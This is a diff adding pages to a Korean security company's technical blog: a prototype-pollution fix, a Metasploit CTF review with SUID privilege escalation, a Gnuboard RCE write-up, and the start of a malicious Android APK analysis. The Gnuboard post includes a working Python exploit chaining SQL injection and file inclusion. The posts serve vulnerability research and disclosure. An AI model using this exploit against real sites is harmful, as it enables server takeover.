+		const p = pathArray[i];
+
+		if (!isObj(object[p])) {
+			object[p] = {};
+		}
+
+		if (i === pathArray.length - 1) {
+			object[p] = value;	// exploitable !
+		}
+
+		object = object[p];
+	}
+
+	return root;
+}
+
+ +

set() 메소드를 실행 시, __proto__에 대한 검증을 하지 않았기 때문에 취약점이 발생했다. 해당 취약점을 막기 위해 dot-prop 패키지에서는 disallowedKeys 변수를 exploitable한 부분에서 검증하는 로직을 추가했다.

+ +
const disallowedKeys = new Set([
+	'__proto__',
+	'prototype',
+	'constructor'
+]);
+
+ +

이 링크에 방문하면 dot-prop 모듈 이외에 생각보다 많은 모듈이 Prototype Pollution에 취약했음을 알 수 있다.

+ +

결론

+ +

어떤 소프트웨어라도 취약점이 존재할 수 있다. 이것을 발견할 수 있는 가장 중요한 요인 중 하나는 해커의 마음가짐이라고 생각한다.

+ +

special thx to @munsiwoo

+ +
+
+
+ +
+
+
윤석찬
+
scyoon@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2021-01-28/metasploit-ctf-review.html b/docs/2021-01-28/metasploit-ctf-review.html new file mode 100644 index 0000000..764f18e --- /dev/null +++ b/docs/2021-01-28/metasploit-ctf-review.html @@ -0,0 +1,343 @@ + + + + + + + + + + +Metasploit Community CTF Review + +Metasploit Community CTF Review | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Metasploit Community CTF Review
+
+
+ + 김도현 +
+
Jan 28, 2021
+
+
+
+
+
+

개요

+ +

2020년 12월 초 쯤, 영국에 살고있는 @timwr이란 친구한테 Slack DM이 왔다.

+ +

+
+ 나를 잊지 않아 준 @timwr. +

+ +

사실 2019년 말에도 이 CTF를 같이 할지 물어 봤었는데, 나는 CTF Pro Player도 아니고, CTF에 흥미를 그렇게 크게 느끼는 사람이 아니었기 때문에 미안하다고 하고 지나갔었다.

+ +

근데 이 날은 왠지 할 것도 없고, 코로나 때문에 방에 박혀만 있어서 그런지 흥미가 생겨서 한번 도전 해 보았다.

+ +

Teammates는 나 포함 다음 네명이었다.

+ + +

문제는 내가 알던 ‘Common Jeopardy CTF’1가 아니었다는 점이다.

+ +


+ +

2020 Metasploit Community CTF 리뷰

+ +

Metaploit Community CTF2는 다음과 같은 방식으로 진행 되었다.

+ +
    +
  1. 각 팀에게는 한개의 Kali Linux Container, Ubuntu Container가 제공된다.
  2. +
  3. Kali Linux와 Ubuntu는 같은 네트워크 상에 존재한다.
  4. +
  5. Kali Linux에 접근 할 수 있는 정보를 제공한다. (IP, SSH Key)
  6. +
  7. Kali Linux를 이용하여 Ubuntu에 열려있는 각 서비스를 장악 또는 정보를 획득하여 Flag를 찾아내면 된다.
  8. +
+ +

다른 CTF를 조금이라도 해 보았다면, 이런 진행 방식의 CTF는 생소할 수도 있을것이다. 왜냐면 내가 그랬기 때문에…

+ +

하지만 이런 환경 정보를 머리속에 집어 넣자, 문제 출제의 의도가 보였다. ‘실제 모의 해킹 업무와 비슷한 환경에서의 CTF’가 이 CTF의 목표인것으로 파악이 되었다.

+ +

그렇다면, 접근도 모의 해킹처럼 진행 해야겠다고 생각하고 착수를 시작했다.

+ +


+

Challenge

+ +
+

밑의 문제에 대한 설명은 Slack Message 및 흐릿한 기억에 기반을 두고 작성 되었습니다.

+
+ +


+우선 Kali Linux로 접근하여 타겟 Ubuntu에 nmap3을 이용한 Port Scanning을 시도했다.

+
PORT     STATE SERVICE VERSION
+80/tcp   open  http    nginx 1.19.5
+1080/tcp open  socks5  (No authentication; connection failed)
+5555/tcp open  telnet
+8080/tcp open  http    Apache httpd 2.4.38 ((Debian))
+8200/tcp open  http    Apache httpd 2.4.38 ((Debian))
+8888/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.8.5)
+9000/tcp open  http    WEBrick httpd 1.6.0 (Ruby 2.7.0 (2019-12-25))
+9001/tcp open  http    Thin httpd
+9009/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
+9010/tcp open  http    Apache httpd 2.4.38
+
+ +


+ +

80번 포트가 너무 맛있어 보여 접근 해 보니, HTML이 어떤 이미지 파일을 링크하고 있었다.

+ +

+
+ 이상한 이미지 파일. +

+ +

이 이미지 파일 EXIF4를 뜯어 보고 있던 찰나, 팀원에게 메세지를 받았다.

+ +

+
+ Flag였잖아?! +

+ +

알고보니 이 이미지 파일이 플래그였던 것이다. 해당 이미지 파일을 md5sum 한 hex string을 인증 하면 되었다.

+ +


+ +

이런 방식으로 문제를 풀면 되는데, 내가 푼 문제들 중 한가지 흥미로웠던 문제를 소개 하겠다.

+ +


+ +

팀원이 무작위 대입을 통해 SSH 서비스(port 9009)의 ID/Password를 알아냈다. 해당 Account 정보를 이용해 접근 하면, bash 쉘이 열렸고, 우리는 공격 목표를 찾아야 했다.

+ +

모두 FTZ5의 1번 문제를 기억하는가? find 명령어를 이용하여 로컬 시스템에서 Privilege Escalation의 가능성이 있는 프로그램이 존재하는지 찾아보았다.

+ +
$ find / -user root -perm -4000 2>/dev/null
+/usr/lib/dbus-1.0/dbus-daemon-launch-helper
+/usr/lib/openssh/ssh-keysign
+/usr/bin/passwd
+/usr/bin/chfn
+/usr/bin/gpasswd
+/usr/bin/newgrp
+/usr/bin/chsh
+/opt/vpn_connect
+/bin/umount
+/bin/mount
+/bin/su
+
+ +

/opt/vpn_connect라는 프로그램이 아주 맛이 있어보이게 생겼다.

+ +

저 프로그램을 리버싱하면, 단순히 ID/Password 값을 바이너리에 존재하는 문자열과 비교 후 True/False를 출력하는 프로그램이다.

+ +

+
+ 싸나이는 IDA 테마따위 쓰지 않는다 1. +

+ +

다만 한가지 특징은, 사용자의 인풋이 들어가는 로그파일을 사용자가 원하는 위치에 작성 할 수 있다는 건데…

+ +

+
+ 싸나이는 IDA 테마따위 쓰지 않는다 2. +

+


+ +

이걸 이용해서 다음과 같이 Root shell을 획득 할 수 있었다.

+ +

+
+ 사실 이거 푼다고 시간을 꽤 썼다. +

+ +

우선 로그를 /etc/passwd에 다음과 같이 작성하게 되면, Attempting to connect to server with a and 까지가 Username이 되고, 그 뒤의 값이 Password가 된다. 사실 되게 간단한 문제6인데 아이디어를 생각 하는데 이렇게 오래 걸렸는지…. ‘가끔 그럴때가 있어야 인간미가 있다’고 생각하려고 한다.

+ +


+ +

결과

+ +

먼저 이 CTF에 대해 평가를 해 보자면, 기존의 Jeopardy 방식 CTF Player라면 적응이 힘들 수도 있다. 무작위대입이라던가, 어느정도의 게싱이 필요하기 때문이다. 하지만 내가 실무를 겪으며 생각 한 것은, 실제로 어느정도의 게싱과 무작위대입은 필요하다. 이 때문에 나는 이 CTF의 컨셉이 아주 잘 짜여졌고, 많이 배울 수 있었다고 생각한다.

+ +

+
+ 3등이다! +

+

시스템 해킹이 많이 없어서 문제를 많이 풀진 못했지만… 결국 3등을 땄다. 사실 가장 중요한 문제는 3등상이 무엇인가가 중요하지 않겠는가? 그래서 확인 해 보니까… 3등은 100$치의 아마존 기프트카드 1장과 HackTheBox 3개월치 VIP+를 주는 것 아닌가? 그래서 다음 리뷰 포스팅에는 HackTheBox를 리뷰 해 보겠다.

+ +


+ +

References

+
+
    +
  1. +

    https://kitribob.wiki/wiki/CTF 

    +
  2. +
  3. +

    https://metasploitctf.com/ 

    +
  4. +
  5. +

    https://nmap.org/ 

    +
  6. +
  7. +

    https://en.wikipedia.org/wiki/Exif 

    +
  8. +
  9. +

    https://www.hackerschool.org/ 

    +
  10. +
  11. +

    https://materials.rangeforce.com/tutorial/2019/11/07/Linux-PrivEsc-SUID-Bit/ 

    +
  12. +
+
+ +
+
+
+ +
+
+
김도현
+
dhkim@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2021-02-08/Gnuboard-RCE.html b/docs/2021-02-08/Gnuboard-RCE.html new file mode 100644 index 0000000..6d5e31b --- /dev/null +++ b/docs/2021-02-08/Gnuboard-RCE.html @@ -0,0 +1,379 @@ + + + + + + + + + + +Gnuboard <= 5.4.1.1 RCE + +Gnuboard <= 5.4.1.1 RCE | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Gnuboard <= 5.4.1.1 RCE
+
+
+ + 이예랑 +
+
Feb 8, 2021
+
+
+
+
+
+

Gnuboard <= 5.4.1.1 RCE

+

스틸리언 선임연구원 이예랑(yelang123)

+ +

개요

+

본 글에서는 찾은 뒤 제보하지 않아 잠수함 패치 된 Gnuboard 취약점의 대한 내용을 다룬다. +해당 취약점은 관리자 페이지가 없어도 RCE가 가능하며 Gnuboard 게시판 관리자 이상의 권한에서 터지는 취약점이다. +보통 Gnuboard를 사용하는 실제 서비스에서 관리자 페이지의 취약점 등의 이유로 인하여 관리자 페이지의 경로를 바꾸거나 기타 다른 조치를 취하여 공격에 대해 사전에 방지한다. +해당 취약점을 이용하면 관리자 페이지의 경로를 모르거나 접근이 불가능 한 경우에도 RCE가 가능하다.

+ +

1. SQL Injection

+
if (isset($_REQUEST['bo_table'])) {
+    $bo_table = preg_replace('/[^a-z0-9_]/i', '', trim($_REQUEST['bo_table']));
+    $bo_table = substr($bo_table, 0, 20);
+} else {
+    $bo_table = '';
+}
+
+

우선 Gnuboardcommon.php 392 line 에서 위와 같이 GET,POST 의 ‘bo_table’ 파라미터의 데이터를 정규식으로 replace 한 뒤 글자수를 20 글자로 잘라 사용자의 입력을 제한한다. +위의 내용으로 인해 일반적인 방법으로 bo_table 파라미터를 이용한 SQL Injection은 불가능하다. +하지만 아래의 경우 이런 동작을 우회 할 수 있다.

+
for($i=0;$i<count($_POST['chk_bn_id']);$i++)
+{
+    // 실제 번호를 넘김
+    $k = $_POST['chk_bn_id'][$i];
+    $bo_table = $_POST['bo_table'][$k];
+    $wr_id    = $_POST['wr_id'][$k];
+    $save_bo_table[] = $bo_table;
+    $write_table = $g5['write_prefix'].$bo_table;
+    if ($board['bo_table'] != $bo_table)
+        $board = sql_fetch(" select bo_subject, bo_write_point, bo_comment_point, bo_notice from {$g5['board_table']} where bo_table = '$bo_table' ");
+    $sql = " select * from $write_table where wr_id = '$wr_id' ";
+    $write = sql_fetch($sql);
+    if (!$write) continue;
+
+

/bbs/new_delete.php 12~29 line 에서 ‘chk_bn_id’ 파라미터를 count하여 반복문을 통해 SELECT 하는것을 볼수 있다. + 방어기법이 적용된 입력값은 $bo_table에 적용된 반면에 이 코드에서 사용하고 있는 변수는 $_POST[‘bo_table’]의 값을 가져와 $bo_table을 재정의 하기 때문에 common.php의 방어 코드는 실행되지 않는다. + 따라서 SQL Injection이 가능하다.

+ +

2. Local FIle Inclusion

+

PHP 에서 Local File Inclusion 은 include,require,include_once,require_once 등의 함수의 인자를 다음과 같이 User input에서 컨트롤이 가능하다면 발생하는 취약점이다.

+
<?php
+$input = $_GET[1];
+include $input;
+?>
+
+

위와 같은 코드가 존재한다면 include 함수에서는 확장자의 영향을 받지 않기 때문에 파일의 내용을 쓸수 있는 경우 등 상황에 따라 RCE 가 가능하다.

+
<?php
+if (!defined('_GNUBOARD_')) exit; // 개별 페이지 접근 불가
+// 게시판 관리의 상단 내용
+if (G5_IS_MOBILE) {
+    // 모바일의 경우 설정을 따르지 않는다.
+    include_once(G5_BBS_PATH.'/_head.php');
+    echo html_purifier(stripslashes($board['bo_mobile_content_head']));
+} else {
+    if(is_include_path_check($board['bo_include_head'])) {  //파일경로 체크
+        @include ($board['bo_include_head']);
+    } else {    //파일경로가 올바르지 않으면 기본파일을 가져옴
+        include_once(G5_BBS_PATH.'/_head.php');
+    }
+    echo html_purifier(stripslashes($board['bo_content_head']));
+}
+?>
+
+

/bbs/board_head.php 1~17 line 을 보면 모바일 인지 체크 후 $board['bo_include_head'] 의 값을 인자로 받아 include 함수를 실행한다.

+
$write = array();
+$write_table = "";
+if ($bo_table) {
+    $board = get_board_db($bo_table);
+    if ($board['bo_table']) {
+        set_cookie("ck_bo_table", $board['bo_table'], 86400 * 1);
+        $gr_id = $board['gr_id'];
+        $write_table = $g5['write_prefix'] . $bo_table; // 게시판 테이블 전체이름
+        if (isset($wr_id) && $wr_id) {
+            $write = get_write($write_table, $wr_id);
+        } else if (isset($wr_seo_title) && $wr_seo_title) {
+            $write = get_content_by_field($write_table, 'bbs', 'wr_seo_title', generate_seo_title($wr_seo_title));
+            if( isset($write['wr_id']) ){
+                $wr_id = $write['wr_id'];
+            }
+        }
+    }
+}
+
+

/common.php 415~433 line 을 보면 get_board_db 함수의 return 값을 $board 변수에 저장하고 그 후 다른 변수들의 값을 저장하는데 get_board_db 함수의 정의는 다음과 같다.

+
function get_board_db($bo_table, $is_cache=false){
+    global $g5;
+    static $cache = array();
+    $cache = run_replace('get_board_db_cache', $cache, $bo_table, $is_cache);
+    $key = md5($bo_table);
+    $bo_table = preg_replace('/[^a-z0-9_]/i', '', $bo_table);
+    if( $is_cache && isset($cache[$key]) ){
+        return $cache[$key];
+    }
+    if( !($cache[$key] = run_replace('get_board_db', array(), $bo_table)) ){
+        $sql = " select * from {$g5['board_table']} where bo_table = '$bo_table' ";
+        $cache[$key] = sql_fetch($sql);
+    }
+    return $cache[$key];
+}
+
+

/lib/get_data_lib.php 68~91 line 을 보면 해당 함수는 $bo_table 을 인자로 받아 g5_board 테이블에서 select 해 그 결과를 변수에 저장한다. +따라서 g5_board.bo_include_head 필드의 내용을 실행하고 싶은 PHP 코드가 담긴 파일경로로 변경하면 RCE를 진행 할 수있다는 것이다.

+

3. Exploit

+
for($i=0;$i<count($_POST['chk_bn_id']);$i++)
+{
+    // 실제 번호를 넘김
+    $k = $_POST['chk_bn_id'][$i];
+    $bo_table = $_POST['bo_table'][$k];
+    $wr_id    = $_POST['wr_id'][$k];
+    $save_bo_table[] = $bo_table;
+    $write_table = $g5['write_prefix'].$bo_table;
+    if ($board['bo_table'] != $bo_table)
+        $board = sql_fetch(" select bo_subject, bo_write_point, bo_comment_point, bo_notice from {$g5['board_table']} where bo_table = '$bo_table' ");
+    $sql = " select * from $write_table where wr_id = '$wr_id' ";
+    $write = sql_fetch($sql);
+    if (!$write) continue;
+    // 원글 삭제
+    if ($write['wr_is_comment']==0)
+    {
+        $len = strlen($write['wr_reply']);
+        if ($len < 0) $len = 0;
+        $reply = substr($write['wr_reply'], 0, $len);
+        // 나라오름님 수정 : 원글과 코멘트수가 정상적으로 업데이트 되지 않는 오류를 잡아 주셨습니다.
+        $sql = " select wr_id, mb_id, wr_is_comment from $write_table where wr_parent = '{$write['wr_id']}' order by wr_id ";
+        $result = sql_query($sql);
+        while ($row = sql_fetch_array($result))
+        { 
+            // 원글이라면
+            if (!$row['wr_is_comment'])
+            {
+
+

/bbs/new_delete.php 11~44 line 을 보면 $write_table 변수의 저장된 값을 이용해 select 하여 1차 적인 select 에서의 SQL Injection이 가능하다. +하지만 RCE 를 위한 g5_board 테이블의 값을 변조해야 하기 때문에 update clause 에서 SQL Injection 이 있어야 했고, 방법을 다음 코드에서 발견했다.

+
else // 코멘트 삭제
+    {
+        //--------------------------------------------------------------------
+        // 코멘트 삭제시 답변 코멘트 까지 삭제되지는 않음
+        //--------------------------------------------------------------------
+        //print_r2($write);
+        $comment_id = $wr_id;
+        $len = strlen($write['wr_comment_reply']);
+        if ($len < 0) $len = 0;
+        $comment_reply = substr($write['wr_comment_reply'], 0, $len);
+        // 코멘트 삭제
+        if (!delete_point($write['mb_id'], $bo_table, $comment_id, '코멘트')) {
+            insert_point($write['mb_id'], $board['bo_comment_point'] * (-1), "{$board['bo_subject']} {$write['wr_parent']}-{$comment_id} 코멘트삭제");
+        }
+        // 코멘트 삭제
+        sql_query(" delete from $write_table where wr_id = '$comment_id' ");
+        // 코멘트가 삭제되므로 해당 게시물에 대한 최근 시간을 다시 얻는다.
+        $sql = " select max(wr_datetime) as wr_last from $write_table where wr_parent = '{$write['wr_parent']}' ";
+        $row = sql_fetch($sql);
+        // 원글의 코멘트 숫자를 감소
+        sql_query(" update $write_table set wr_comment = wr_comment - 1, wr_last = '{$row['wr_last']}' where wr_id = '{$write['wr_parent']}' ");
+        // 코멘트 숫자 감소
+        sql_query(" update {$g5['board_table']} set bo_count_comment = bo_count_comment - 1 where bo_table = '$bo_table' ");
+        // 새글 삭제
+        sql_query(" delete from {$g5['board_new_table']} where bo_table = '$bo_table' and wr_id = '$comment_id' ");
+    }
+}
+
+

/bbs/new_delete.php 104~137 line 을 보면 $write 변수 +sw=move&page=1&pressed=선택내용삭제&chk_bn_id[]=0&bo_table[0]=free as a join g5_board as b #&wr_id[0]= +where 1=0 union select (생략)-- - +이와 같은 내용의 request 를 전송하면 다음과 같은 query 가 실행된다. +1차 query

+
string(51) " select * from g5_write_free as a join g5_board as b# where wr_id = '
+union select .....(생략) #' "
+
+

이 후 select 된 데이터의 wr_is_comment 컬럼의 내용을 확인하여 각각의 코드를 실행하는데 이 때 해당 값이 0 과 같지 않을 경우 다음과 같은 코드를 실행한다. +2차 query

+
update $write_table set wr_comment = wr_comment - 1, wr_last = '{$row['wr_last']}' where wr_id = '{$write['wr_parent']}'
+
+

이 때 $write 변수에 저장되는 데이터의 값을 union 을 통해 적절히 조작하여 update 이후 부분을 자유롭게 조작할 수 있다. + (그누보드는 파일 업로드 기능을 지원하고 실제 파일명을 g5_board_file 이라는 테이블에 저장하기 때문에 파일을 업로드 후 Local File Inclusion 취약점을 이용하여 Remote Code Execution이 가능)

+
#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+import requests
+cookie = '2a0d2363701f23f8a75028924a3af643=MTcyLjE2LjE1LjI1NA%3D%3D; PHPSESSID=atrem9p79ans05norgqsbqkpub; ck_font_resize_rmv_class=; ck_font_resize_add_class=; e1192aefb64683cc97abb83c71057733=dGVzdA%3D%3D'
+attack_url = '172.16.15.254:1234/gnu/'
+url = 'http://'+ attack_url + '/bbs/new_delete.php'
+bo_table = 'free as a inner join g5_board as b#'
+ex_board = 'free'
+file_wr_id = '2'
+file_bo_table = 'free'
+update = '0x'+'''
+set b.bo_include_head=(select concat('../data/file/','{0}/',(select bf_file from g5_board_file where wr_id='{1}' and bo_table='{0}'))) where b.bo_table='{2}' -- -'''.format(file_bo_table,file_wr_id,ex_board).encode('hex')
+print update
+wr_id = '''
+where 1=0 union/*asdfasdfsadfsadfsa*/select
+1,2,3,{},5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135-- -'''.format(update)
+data = {'sw':'move',
+        'pressed' : '선택내용삭제',
+        'chk_bn_id[]' : '0',
+        'bo_table[]' : bo_table,
+        'wr_id[]' : wr_id}
+headers = {'Cookie' : cookie}
+r1 = requests.post(url,data=data,headers=headers)
+print r1.text
+
+

결론

+
    +
  1. 보안 업데이트를 잘 하고, 개발자는 보안기법이 적용된 변수를 활용하자
  2. +
  3. 관리자 페이지에 취약점이 많다고 해서 결코 관리자 페이지에서만 취약점이 일어나지 않으니 주의를 기울이자
  4. +
+ +
+
+
+ +
+
+
이예랑
+
yllee@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2021-07-29/malwareAPK.html b/docs/2021-07-29/malwareAPK.html new file mode 100644 index 0000000..7b4978e --- /dev/null +++ b/docs/2021-07-29/malwareAPK.html @@ -0,0 +1,470 @@ + + + + + + + + + + +만능 악성 APK 분석 후기 + +만능 악성 APK 분석 후기 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
만능 악성 APK 분석 후기
+
+
+ + 함세련 +
+
Jul 29, 2021
+
+
+
+
+
+

[ 만능 악성 APK 분석 후기 ]

+ +


+
+목차
+
+1. 현황
+
2. 분석 기법
+
3. 분석 결과
+
4. 결론
+ +

1. 현황

+ +

최근 보이스피싱을 통한 피해가 나날이 증가하고 있다. 경찰청 통계자료에 의하면 2020년까지의 보이스피싱 범죄 피해액이 2조 1376만 원이다. 또한 최근 뉴스 기사를 통해 몸캠 피싱 피해를 확인할 수 있다. 몸캠 피싱을 통해 피해자 511명에게서 22억 원을 갈취한 범죄 사건, 자살한 소녀의 핸드폰에 몸캠 피싱을 통한 피해 흔적 등 다수 “몸캠피싱”을 통한 기사들이 보도되고 있다.

+ +

+ +

블로그를 통해 악성 APK 분석 기법과 위험성, 예방 안을 전달함으로써 피해자 발생률을 줄이는 데 도움이 되고자 글을 남긴다.

+ +

2. 분석 기법

+ +
1) 악성 앱 검증 서비스
+ +

다수 회사에서 APK 시그니처와 패턴 분석을 기반으로 악성 앱 검증을 수행한다. Virustotal 악성 앱 검증 사이트 등을 이용하여 각 회사의 악성 앱 판별 결과를 확인할 수 있다.

+ +
2) 정적 분석
+ +

APK 파일은 압축파일 형태로 Java 코드가 컴파일된 파일인 DEX, C, C++ 코드가 컴파일된 so 라이브러리, 리소스, APK 서명 관련 파일로 구성된다. 컴파일된 파일을 이용자가 알아보기 쉬운 코드로 변환해주는 디컴파일 도구들(Androguard, Apktool, jadx-gui, JEB, IDA 등)을 이용하여 로직 분석을 진행할 수 있다.

+ +
3) 동적 분석
+ +

공격자는 네트워크 프로토콜, 배포한 APK를 통해 악성 행위를 한다. Packet Capture, Proxy 도구를 이용해 공격자와 피해 자간 송수신 내용을 확인할 수 있고 Hooking, Debugging, Smali Code Inejction을 통해 실시간 앱 동작 확인, 변조가 가능하다.

+ +
    +
  • +

    Packet Capture

    + +

    Packet Capture Tool인 tcpdump를 이용해 스마트폰에서 이용하는 OSI 2계층부터 7계층까지의 프로토콜 패킷을 확인할 수 있다. tcpdump는 libpcap 라이브러리를 통해 통신 담당 드라이버(Network Interface Controller Driver)에 Packet이 전달되기 전 복사하여 이용자에게 나타내므로 기기간 전 통신 데이터 확인이 가능하다.

    + +

    Proxy Tool인 Fiddler, Burp suite를 이용해 스마트폰에서 이용되는 HTTP/HTTPS/WebSocket 프로토콜에 대한 패킷 확인이 가능하다. 윈도우 환경에서는 Windows 인터넷 API를 이용해 HTTP 프로토콜 통신내용을 캡처한다. 안드로이드에서 윈도우 환경에서 실행된 Fiddler, Burpsuite Proxy Server로 접속하도록 설정하여 Fiddler, Burpsuite HTTP Protocol Packet을 확인할 수 있다. Fiddler는 HTTP/HTTPS/WEBSocket 프로토콜만을 지원하기 때문에 TCP 통신에 대한 패킷 확인이 불가하나 Burp suite는 NoPE 플러그인 설치를 통해 TCP 통신 내용들도 확인할 수 있다.

    +
  • +
  • +

    Hooking

    + +

    Hooking Tool인 Frida를 통해 동적으로 송수신되는 값을 확인한다. frida는 동적 라이브러리를 프로세스에 삽입한다. 후킹 대상 Application Process에 삽입된 Library는 Process 메모리 전부 접근 및 변조 가능하다

    +
  • +
  • +

    Debugging

    + +

    Debugging Tool인 JEB, Netbeans, IDA를 통해 동적으로 전달되는 변수 값을 확인한다. 최고 권한(root)으로 디버거를 실행할 경우, ptrace 시스템콜을 이용해 so 라이브러리 디버깅이 가능하며, JPDA(Java Platform Debugger Architecture)를 통해 DVM(Dalvik Virtual Machine)에서 실행 가능한 파일(dex) 디버깅이 가능하다.

    +
  • +
  • +

    Smali Code Injection

    + +

    Smali Code Injection을 통해 동적으로 변수 값을 확인한다. 컴파일 중 자바코드가 바이트코드(Smali)로 변환된다. 디컴파일 도구를 통해 Smali 코드로 복원한 후, 의도한 로직의 바이트코드 삽입한 후 리패키징하여 실행 로직 변조가 가능하다.

    +
  • +
+ +

3. 분석결과

+ +
1) 악성 앱 검증 서비스 분석 결과
+ +

공격자가 전송한 LiveTalk.apk는 74개 중 8개의 회사가 악성 앱이라는 결과를 나타냈다. 이용자의 동의 없이 중요 정보를 추출하는 악성 앱으로 판단하고 있으나, 공격자가 앱 실행 도중 피해자 스마트폰에 전달되는 APK 파일은 전 회사가 정상 앱으로 판단하고 있다.

+ +

+ +

+ +
2) 정적 분석을 통한 악성 앱 분석 결과
+ +

공격자는 배포한 APK와 실행 도중 전달한 APK를 이용해 공격 대상의 정보를 추출하고 이용자의 인가 없이 스마트폰을 조종한다.

+ +
    +
  • +

    정보 추출 코드 목록

    + +

    가. 전화번호 목록

    + +

    연락처 정보 접근을 위해 설정된 권한 및 코드

    + +
      <uses-permission android:name="android.permission.READ_CONTACTS"/>
    +
    +

    + +

    나. 위치

    + +

    위치 정보 접근을 위해 설정된 권한 및 코드

    + +
        <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    +    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    +
    +

    + +

    다. 문자 내용

    + +

    문자 내용 접근을 위해 설정된 권한 및 코드

    + +
       <uses-permission android:name="android.permission.READ_SMS"/>
    +
    +

    + +

    라. 통화 목록

    + +

    통화 기록 접근을 위해 설정된 권한 및 코드

    + +
      <uses-permission android:name="android.permission.READ_CALL_LOG"/>
    +
    +

    + +

    마. 온라인 계정 ID

    + +

    안드로이드 기기에 등록된 계정 ID, 이용 서비스 정보 접근을 위해 설정된 권한 및 코드

    + +
      <uses-permission android:name="android.permission.GET_ACCOUNTS"/>
    +
    +

    + +

    바. Wifi MAC Address, SSID

    + +

    Wifi Mac Address, Wifi 명 확인을 위해 설정된 권한 및 코드

    + +
      <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    +
    +

    + +

    사. Device 정보 전달

    + +

    안드로이드 기기 정보 접근을 위한 권한 및 코드

    + +
      <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    +
    +

    + +

    아. 파일

    + +

    기기 내 파일 내용 읽기를 위한 권한 및 코드

    + +
      <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    +
    +

    +
  • +
  • +

    악성 행위 코드 목록

    + +

    가. 피해자 핸드폰 시스템 명령어 실행

    + +

    공격자가 전달한 명령어 실행 후 결과 반환 코드

    + +

    + +

    나. 공격자가 전달한 번호로 전화

    + +

    공격자가 전달한 전화번호로 발신을 위한 권한 및 코드

    + +
      <uses-permission android:name="android.permission.CALL_PHONE"/>
    +
    +

    + +

    다. 녹음

    + +

    녹음 후 저장을 위한 권한 및 코드

    + +
      <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    +  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    +
    +

    + +

    라. 사진 촬영

    + +

    카메라 사진 촬영 및 저장을 위한 권한 및 코드

    + +
      <uses-permission android:name="android.permission.CAMERA"/>
    +  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    +  <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    +
    +

    +

    + +

    마. 파일 삭제, 암호화 후 제거

    + +

    파일 삭제, 암호화를 위한 권한 및 코드

    + +
      <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    +  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    +
    + +

    파일 제거

    +

    + +

    파일 암호화 (key “scream”+”공격자가 전송한 문자열”)

    +

    + +

    바. 지속적인 앱 실행

    + +

    지속적인 악성 앱 실행을 위한 재부팅 후 자동 실행 및 앱 유휴 상태에서도 지속적인 실행을 위한 권한 및 코드

    + +
      <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    +  <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    +  <uses-permission android:name="android.permission.WAKE_LOCK"/>
    +
    +

    +

    +

    + +

    사. 배경화면 변경

    + +

    공격자가 전송한 파일을 복호화한 후 배경화면으로 설정에 필요한 권한 및 코드

    + +
      <uses-permission android:name="android.permission.SET_WALLPAPER"/>
    +
    +

    + +

    아. 소켓 통신

    + +

    소켓 통신을 이용한 명령어 실행, 개인 정보 추출을 위한 내용 송수신 코드

    + +

    +

    +

    +

    +

    +

    + +

    자. DexFile 로드

    + +

    파일 다운로드 후 DexFile 로드 및 실행 코드

    + +
      <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    +  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    +
    +

    +
  • +
+ +
3) 동적 분석을 통한 악성 앱 분석 결과
+ +

공격자는 C&C서버로부터 DEX 파일 전송 후 실행하여 개인정보를 탈취하는 것을 확인할 수 있었다.

+ +
    +
  • +

    공격지 정보

    + +

    가. Debugging

    + +

